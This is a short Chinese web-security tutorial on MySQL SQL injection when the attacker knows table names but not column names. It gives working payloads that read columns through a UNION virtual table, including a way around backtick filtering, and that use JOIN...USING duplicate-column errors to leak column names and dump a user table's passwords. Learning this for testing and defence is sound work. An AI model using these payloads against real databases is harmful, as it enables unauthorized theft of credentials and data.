WEB安全--SQL注入--无列名注入

一、原理:

当我们只知道表名不知道列名时,可以通过联合查询创建虚拟字段查询信息,或者是利用join、using关键字报错得到列名。

二、利用手段:

2.1)创建虚表查询:

sql 复制代码
#创建虚表
select 1,2,3 union select * from user;

#查询第二列数据
select `2` from (select 1,2,3 union select * from user)xxx;

当反引号 ` 被过滤时,可以使用如下方式查询:

sql 复制代码
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

2.2)join+using爆出列名:

sql 复制代码
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
 
相关推荐
红树林079 分钟前
渗透测试之sql注入--盲注
数据库·sql·安全·web安全
Wise玩转AI1 小时前
Day 26|智能体的“伦理与安全边界”
人工智能·python·安全·ai·chatgpt·ai智能体
f***S2441 小时前
MyBatis-Plus 自定义 SQL 和复杂查询
数据库·sql·mybatis
这个人需要休息1 小时前
dvwa靶场DOM xss的high和impossible难度的对比解析
网络·安全
世界尽头与你1 小时前
跨站请求伪造(CSRF)漏洞
web安全·网络安全·渗透测试·csrf
风语者日志1 小时前
CTFSHOW菜狗杯—WEB签到
前端·web安全·ctf·小白入门
q***87601 小时前
Nginx 常用安全头
运维·nginx·安全
k***3881 小时前
oracle 12c查看执行过的sql及当前正在执行的sql
java·sql·oracle
雨落秋垣1 小时前
多系统 BBR 加速与网络安全综合方案
安全·web安全